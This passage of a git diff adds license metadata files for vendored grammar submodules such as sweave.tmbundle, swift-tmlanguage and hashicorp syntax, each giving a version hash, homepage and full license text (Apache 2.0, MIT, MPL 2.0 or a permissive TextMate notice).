+version: 050d092043869ffdc6050add573d3ce6daae9d4f
+type: git_submodule
+homepage: https://github.com/FuelLabs/sway-vscode-plugin.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/sweave.tmbundle.dep.yml b/vendor/licenses/git_submodule/sweave.tmbundle.dep.yml
new file mode 100644
index 0000000000..510ceec064
--- /dev/null
+++ b/vendor/licenses/git_submodule/sweave.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: sweave.tmbundle
+version: d69ff113e77af07d46624095c413f5e60572a8fe
+type: git_submodule
+homepage: https://github.com/textmate/sweave.tmbundle.git
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/swift-tmlanguage.dep.yml b/vendor/licenses/git_submodule/swift-tmlanguage.dep.yml
new file mode 100644
index 0000000000..0fabcf8274
--- /dev/null
+++ b/vendor/licenses/git_submodule/swift-tmlanguage.dep.yml
@@ -0,0 +1,19 @@
+---
+name: swift-tmlanguage
+version: 860eface4241cf9f2174d5fa690bd34389ac8d26
+type: git_submodule
+homepage: https://github.com/jtbandes/swift-tmlanguage.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright 2023 Jacob Bandes-Storch
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: This project is licensed under the terms of the [MIT license](LICENSE.md).
+notices: []
diff --git a/vendor/licenses/git_submodule/syntax-mcfunction.dep.yml b/vendor/licenses/git_submodule/syntax-mcfunction.dep.yml
new file mode 100644
index 0000000000..5ab47b4db9
--- /dev/null
+++ b/vendor/licenses/git_submodule/syntax-mcfunction.dep.yml
@@ -0,0 +1,31 @@
+---
+name: syntax-mcfunction
+version: 458827b54015dd70dbc356574c964d22f02401a7
+type: git_submodule
+homepage: https://github.com/MinecraftCommands/syntax-mcfunction.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023-2023 MinecraftCommands
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/syntax.dep.yml b/vendor/licenses/git_submodule/syntax.dep.yml
new file mode 100644
index 0000000000..91505d67c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/syntax.dep.yml
@@ -0,0 +1,385 @@
+---
+name: syntax
+version: 2eeee061eca93eb1a892e92307ff1251b5be90ee
+type: git_submodule
+homepage: https://github.com/hashicorp/syntax.git
+license: mpl-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2020 HashiCorp, Inc.
+
+    Mozilla Public License Version 2.0
+    ==================================
+
+    1. Definitions
+    --------------
+
+    1.1. "Contributor"
+        means each individual or legal entity that creates, contributes to
+        the creation of, or owns Covered Software.
+
+    1.2. "Contributor Version"
+        means the combination of the Contributions of others (if any) used
+        by a Contributor and that particular Contributor's Contribution.
+
+    1.3. "Contribution"
+        means Covered Software of a particular Contributor.
+
+    1.4. "Covered Software"
+        means Source Code Form to which the initial Contributor has attached
+        the notice in Exhibit A, the Executable Form of such Source Code
+        Form, and Modifications of such Source Code Form, in each case
+        including portions thereof.
+
+    1.5. "Incompatible With Secondary Licenses"
+        means
+
+        (a) that the initial Contributor has attached the notice described
+            in Exhibit B to the Covered Software; or
+
+        (b) that the Covered Software was made available under the terms of
+            version 1.1 or earlier of the License, but not also under the
+            terms of a Secondary License.
+
+    1.6. "Executable Form"
+        means any form of the work other than Source Code Form.
+
+    1.7. "Larger Work"
+        means a work that combines Covered Software with other material, in
+        a separate file or files, that is not Covered Software.
+
+    1.8. "License"
+        means this document.
+
+    1.9. "Licensable"
+        means having the right to grant, to the maximum extent possible,
+        whether at the time of the initial grant or subsequently, any and
+        all of the rights conveyed by this License.
+
+    1.10. "Modifications"
+        means any of the following:
+
+        (a) any file in Source Code Form that results from an addition to,
+            deletion from, or modification of the contents of Covered
+            Software; or
+
+        (b) any new file in Source Code Form that contains any Covered
+            Software.
+
+    1.11. "Patent Claims" of a Contributor
+        means any patent claim(s), including without limitation, method,
+        process, and apparatus claims, in any patent Licensable by such
+        Contributor that would be infringed, but for the grant of the
+        License, by the making, using, selling, offering for sale, having
+        made, import, or transfer of either its Contributions or its
+        Contributor Version.
+
+    1.12. "Secondary License"
+        means either the GNU General Public License, Version 2.0, the GNU
+        Lesser General Public License, Version 2.1, the GNU Affero General
+        Public License, Version 3.0, or any later versions of those
+        licenses.
+
+    1.13. "Source Code Form"
+        means the form of the work preferred for making modifications.
+
+    1.14. "You" (or "Your")
+        means an individual or a legal entity exercising rights under this
+        License. For legal entities, "You" includes any entity that
+        controls, is controlled by, or is under common control with You. For
+        purposes of this definition, "control" means (a) the power, direct
+        or indirect, to cause the direction or management of such entity,
+        whether by contract or otherwise, or (b) ownership of more than
+        fifty percent (50%) of the outstanding shares or beneficial
+        ownership of such entity.
+
+    2. License Grants and Conditions
+    --------------------------------
+
+    2.1. Grants
+
+    Each Contributor hereby grants You a world-wide, royalty-free,
+    non-exclusive license:
+
+    (a) under intellectual property rights (other than patent or trademark)
+        Licensable by such Contributor to use, reproduce, make available,
+        modify, display, perform, distribute, and otherwise exploit its
+        Contributions, either on an unmodified basis, with Modifications, or
+        as part of a Larger Work; and
+
+    (b) under Patent Claims of such Contributor to make, use, sell, offer
+        for sale, have made, import, and otherwise transfer either its
+        Contributions or its Contributor Version.
+
+    2.2. Effective Date
+
+    The licenses granted in Section 2.1 with respect to any Contribution
+    become effective for each Contribution on the date the Contributor first
+    distributes such Contribution.
+
+    2.3. Limitations on Grant Scope
+
+    The licenses granted in this Section 2 are the only rights granted under
+    this License. No additional rights or licenses will be implied from the
+    distribution or licensing of Covered Software under this License.
+    Notwithstanding Section 2.1(b) above, no patent license is granted by a
+    Contributor:
+
+    (a) for any code that a Contributor has removed from Covered Software;
+        or
+
+    (b) for infringements caused by: (i) Your and any other third party's
+        modifications of Covered Software, or (ii) the combination of its
+        Contributions with other software (except as part of its Contributor
+        Version); or
+
+    (c) under Patent Claims infringed by Covered Software in the absence of
+        its Contributions.
+
+    This License does not grant any rights in the trademarks, service marks,
+    or logos of any Contributor (except as may be necessary to comply with
+    the notice requirements in Section 3.4).
+
+    2.4. Subsequent Licenses
+
+    No Contributor makes additional grants as a result of Your choice to
+    distribute the Covered Software under a subsequent version of this
+    License (see Section 10.2) or under the terms of a Secondary License (if
+    permitted under the terms of Section 3.3).
+
+    2.5. Representation
+
+    Each Contributor represents that the Contributor believes its
+    Contributions are its original creation(s) or it has sufficient rights
+    to grant the rights to its Contributions conveyed by this License.
+
+    2.6. Fair Use
+
+    This License is not intended to limit any rights You have under
+    applicable copyright doctrines of fair use, fair dealing, or other
+    equivalents.
+
+    2.7. Conditions
+
+    Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+    in Section 2.1.
+
+    3. Responsibilities
+    -------------------
+
+    3.1. Distribution of Source Form
+
+    All distribution of Covered Software in Source Code Form, including any
+    Modifications that You create or to which You contribute, must be under
+    the terms of this License. You must inform recipients that the Source
+    Code Form of the Covered Software is governed by the terms of this
+    License, and how they can obtain a copy of this License. You may not
+    attempt to alter or restrict the recipients' rights in the Source Code
+    Form.
+
+    3.2. Distribution of Executable Form
+
+    If You distribute Covered Software in Executable Form then:
+
+    (a) such Covered Software must also be made available in Source Code
+        Form, as described in Section 3.1, and You must inform recipients of
+        the Executable Form how they can obtain a copy of such Source Code
+        Form by reasonable means in a timely manner, at a charge no more
+        than the cost of distribution to the recipient; and
+
+    (b) You may distribute such Executable Form under the terms of this
+        License, or sublicense it under different terms, provided that the
+        license for the Executable Form does not attempt to limit or alter
+        the recipients' rights in the Source Code Form under this License.
+
+    3.3. Distribution of a Larger Work
+
+    You may create and distribute a Larger Work under terms of Your choice,
+    provided that You also comply with the requirements of this License for
+    the Covered Software. If the Larger Work is a combination of Covered
+    Software with a work governed by one or more Secondary Licenses, and the
+    Covered Software is not Incompatible With Secondary Licenses, this
+    License permits You to additionally distribute such Covered Software
+    under the terms of such Secondary License(s), so that the recipient of
+    the Larger Work may, at their option, further distribute the Covered
+    Software under the terms of either this License or such Secondary
+    License(s).
+
+    3.4. Notices
+
+    You may not remove or alter the substance of any license notices
+    (including copyright notices, patent notices, disclaimers of warranty,
+    or limitations of liability) contained within the Source Code Form of
+    the Covered Software, except that You may alter any license notices to
+    the extent required to remedy known factual inaccuracies.
+
+    3.5. Application of Additional Terms
+
+    You may choose to offer, and to charge a fee for, warranty, support,
+    indemnity or liability obligations to one or more recipients of Covered
+    Software. However, You may do so only on Your own behalf, and not on
+    behalf of any Contributor. You must make it absolutely clear that any
+    such warranty, support, indemnity, or liability obligation is offered by
+    You alone, and You hereby agree to indemnify every Contributor for any
+    liability incurred by such Contributor as a result of warranty, support,
+    indemnity or liability terms You offer. You may include additional
+    disclaimers of warranty and limitations of liability specific to any
+    jurisdiction.
+
+    4. Inability to Comply Due to Statute or Regulation
+    ---------------------------------------------------
+
+    If it is impossible for You to comply with any of the terms of this
+    License with respect to some or all of the Covered Software due to
+    statute, judicial order, or regulation then You must: (a) comply with
+    the terms of this License to the maximum extent possible; and (b)
+    describe the limitations and the code they affect. Such description must
+    be placed in a text file included with all distributions of the Covered
+    Software under this License. Except to the extent prohibited by statute
+    or regulation, such description must be sufficiently detailed for a
+    recipient of ordinary skill to be able to understand it.
+
+    5. Termination
+    --------------
+
+    5.1. The rights granted under this License will terminate automatically
+    if You fail to comply with any of its terms. However, if You become
+    compliant, then the rights granted under this License from a particular
+    Contributor are reinstated (a) provisionally, unless and until such
+    Contributor explicitly and finally terminates Your grants, and (b) on an
+    ongoing basis, if such Contributor fails to notify You of the
+    non-compliance by some reasonable means prior to 60 days after You have
+    come back into compliance. Moreover, Your grants from a particular
+    Contributor are reinstated on an ongoing basis if such Contributor
+    notifies You of the non-compliance by some reasonable means, this is the
+    first time You have received notice of non-compliance with this License
+    from such Contributor, and You become compliant prior to 30 days after
+    Your receipt of the notice.
+
+    5.2. If You initiate litigation against any entity by asserting a patent
+    infringement claim (excluding declaratory judgment actions,
+    counter-claims, and cross-claims) alleging that a Contributor Version
+    directly or indirectly infringes any patent, then the rights granted to
+    You by any and all Contributors for the Covered Software under Section
+    2.1 of this License shall terminate.
+
+    5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+    end user license agreements (excluding distributors and resellers) which
+    have been validly granted by You or Your distributors under this License
+    prior to termination shall survive termination.
+
+    ************************************************************************
+    *                                                                      *
+    *  6. Disclaimer of Warranty                                           *
+    *  -------------------------                                           *
+    *                                                                      *
+    *  Covered Software is provided under this License on an "as is"       *
+    *  basis, without warranty of any kind, either expressed, implied, or  *
+    *  statutory, including, without limitation, warranties that the       *
+    *  Covered Software is free of defects, merchantable, fit for a        *
+    *  particular purpose or non-infringing. The entire risk as to the     *
+    *  quality and performance of the Covered Software is with You.        *
+    *  Should any Covered Software prove defective in any respect, You     *
+    *  (not any Contributor) assume the cost of any necessary servicing,   *
+    *  repair, or correction. This disclaimer of warranty constitutes an   *
+    *  essential part of this License. No use of any Covered Software is   *
+    *  authorized under this License except under this disclaimer.         *
+    *                                                                      *
+    ************************************************************************
+
+    ************************************************************************
+    *                                                                      *
+    *  7. Limitation of Liability                                          *
+    *  --------------------------                                          *
+    *                                                                      *
+    *  Under no circumstances and under no legal theory, whether tort      *
+    *  (including negligence), contract, or otherwise, shall any           *
+    *  Contributor, or anyone who distributes Covered Software as          *
+    *  permitted above, be liable to You for any direct, indirect,         *
+    *  special, incidental, or consequential damages of any character      *
+    *  including, without limitation, damages for lost profits, loss of    *
+    *  goodwill, work stoppage, computer failure or malfunction, or any    *
+    *  and all other commercial damages or losses, even if such party      *
+    *  shall have been informed of the possibility of such damages. This   *
+    *  limitation of liability shall not apply to liability for death or   *
+    *  personal injury resulting from such party's negligence to the       *
+    *  extent applicable law prohibits such limitation. Some               *
+    *  jurisdictions do not allow the exclusion or limitation of           *
+    *  incidental or consequential damages, so this exclusion and          *
+    *  limitation may not apply to You.                                    *
+    *                                                                      *
+    ************************************************************************
+
+    8. Litigation
+    -------------
+
+    Any litigation relating to this License may be brought only in the
+    courts of a jurisdiction where the defendant maintains its principal
+    place of business and such litigation shall be governed by laws of that
+    jurisdiction, without reference to its conflict-of-law provisions.
+    Nothing in this Section shall prevent a party's ability to bring
+    cross-claims or counter-claims.
+
+    9. Miscellaneous
+    ----------------
+
+    This License represents the complete agreement concerning the subject
+    matter hereof. If any provision of this License is held to be
+    unenforceable, such provision shall be reformed only to the extent
+    necessary to make it enforceable. Any law or regulation which provides
+    that the language of a contract shall be construed against the drafter
+    shall not be used to construe this License against a Contributor.
+
+    10. Versions of the License
+    ---------------------------
+
+    10.1. New Versions
+
+    Mozilla Foundation is the license steward. Except as provided in Section
+    10.3, no one other than the license steward has the right to modify or
+    publish new versions of this License. Each version will be given a
+    distinguishing version number.
+
+    10.2. Effect of New Versions
+
+    You may distribute the Covered Software under the terms of the version
+    of the License under which You originally received the Covered Software,
+    or under the terms of any subsequent version published by the license
+    steward.
+
+    10.3. Modified Versions
+
+    If you create software not governed by this License, and you want to
+    create a new license for such software, you may create and use a
+    modified version of this License if you rename the license and remove
+    any references to the name of the license steward (except to note that
+    such modified license differs from this License).
+
+    10.4. Distributing Source Code Form that is Incompatible With Secondary
+    Licenses
+
+    If You choose to distribute Source Code Form that is Incompatible With
+    Secondary Licenses under the terms of this version of the License, the
+    notice described in Exhibit B of this License must be attached.
+
+    Exhibit A - Source Code Form License Notice
+    -------------------------------------------
+
+      This Source Code Form is subject to the terms of the Mozilla Public
+      License, v. 2.0. If a copy of the MPL was not distributed with this
+      file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+    If it is not possible or desirable to put the notice in a particular
+    file, then You may include the notice in a location (such as a LICENSE
+    file in a relevant directory) where a recipient would be likely to look
+    for such a notice.
+
+    You may add additional accurate notices of copyright ownership.
+
+    Exhibit B - "Incompatible With Secondary Licenses" Notice
+    ---------------------------------------------------------
+
+      This Source Code Form is "Incompatible With Secondary Licenses", as
+      defined by the Mozilla Public License, v. 2.0.
+notices: []
diff --git a/vendor/licenses/git_submodule/tcl.tmbundle.dep.yml b/vendor/licenses/git_submodule/tcl.tmbundle.dep.yml
new file mode 100644
index 0000000000..686a1bbfa1
--- /dev/null
+++ b/vendor/licenses/git_submodule/tcl.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: tcl.tmbundle
+version: f06f80144c01ff1e3836cef21cbac62f8e1c5df6
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/templ-vscode.dep.yml b/vendor/licenses/git_submodule/templ-vscode.dep.yml
new file mode 100644
index 0000000000..c56ffb140a
--- /dev/null
+++ b/vendor/licenses/git_submodule/templ-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: templ-vscode
+version: d0e87f9721f29e60358ecae6b048700249764c12
+type: git_submodule
+homepage: https://github.com/templ-go/templ-vscode.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 Adrian Hesketh
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/textmate.tmbundle.dep.yml b/vendor/licenses/git_submodule/textmate.tmbundle.dep.yml
new file mode 100644
index 0000000000..ea33eb5f3f
--- /dev/null
+++ b/vendor/licenses/git_submodule/textmate.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: textmate.tmbundle
+version: e6c9b5e9609da8c9157abf5f77b02eff87b24936
+type: git_submodule
+homepage: https://github.com/textmate/textmate.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/textproto-grammar.dep.yml b/vendor/licenses/git_submodule/textproto-grammar.dep.yml
new file mode 100644
index 0000000000..3b0d9b93b6
--- /dev/null
+++ b/vendor/licenses/git_submodule/textproto-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: textproto-grammar
+version: 97efb452403712938d9e2165e4c003e4a0ef6ace
+type: git_submodule
+homepage: https://github.com/thejustinwalsh/textproto-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Justin Walsh
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/thrift.tmbundle.dep.yml b/vendor/licenses/git_submodule/thrift.tmbundle.dep.yml
new file mode 100644
index 0000000000..3ba58bf8a7
--- /dev/null
+++ b/vendor/licenses/git_submodule/thrift.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: thrift.tmbundle
+version: eac7c8100416015be2bd20562138f43ba3a573b7
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
